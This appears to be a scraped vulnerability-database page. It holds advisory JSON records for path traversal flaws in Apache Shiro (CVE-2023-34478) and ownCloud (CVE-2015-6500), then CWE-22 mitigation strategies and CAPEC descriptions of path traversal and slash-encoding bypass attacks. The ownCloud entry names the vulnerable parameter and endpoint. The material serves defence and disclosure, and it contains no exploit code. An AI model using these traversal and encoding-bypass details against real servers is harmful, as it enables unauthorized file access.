Mitigation: Update to Apache Shiro 1.12.0+ or 2.0.0-alpha-3+
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.shiro:shiro-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.shiro:shiro-web"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-alpha-1"
},
{
"fixed": "2.0.0-alpha-3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34478"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-25T13:51:45Z",
"nvd_published_at": "2023-07-24T19:15:10Z",
"severity": "CRITICAL"
},
"details": "Apache Shiro, before 1.12.0 or 2.0.0-alpha-3, may be susceptible to a path traversal attack that results in an authentication bypass when used together with APIs or other web frameworks that route requests based on non-normalized requests.\n\nMitigation:\u00a0Update to Apache Shiro 1.12.0+ or 2.0.0-alpha-3+",
"id": "GHSA-pmhc-2g4f-85cg",
"modified": "2025-02-13T19:01:43Z",
"published": "2023-07-24T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34478"
},
{
"type": "WEB",
"url": "https://github.com/apache/shiro/commit/c3ede3f94efb442acb0795714a022c2c121d1da0"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/shiro"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/mbv26onkgw9o35rldh7vmq11wpv2t2qk"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230915-0005"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/07/24/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Path Traversal in Apache Shiro"
}
GHSA-PMHQ-22RW-G7QJ
Vulnerability from github – Published: 2022-05-17 00:28 – Updated: 2022-05-17 00:28Directory traversal vulnerability in ownCloud Server before 8.0.6 and 8.1.x before 8.1.1 allows remote authenticated users to list directory contents and possibly cause a denial of service (CPU consumption) via a .. (dot dot) in the dir parameter to index.php/apps/files/ajax/scan.php.
{
"affected": [],
"aliases": [
"CVE-2015-6500"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-10-26T14:59:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in ownCloud Server before 8.0.6 and 8.1.x before 8.1.1 allows remote authenticated users to list directory contents and possibly cause a denial of service (CPU consumption) via a .. (dot dot) in the dir parameter to index.php/apps/files/ajax/scan.php.",
"id": "GHSA-pmhq-22rw-g7qj",
"modified": "2022-05-17T00:28:14Z",
"published": "2022-05-17T00:28:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6500"
},
{
"type": "WEB",
"url": "https://owncloud.org/security/advisory/?id=oc-sa-2015-014"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-048.txt"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3373"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.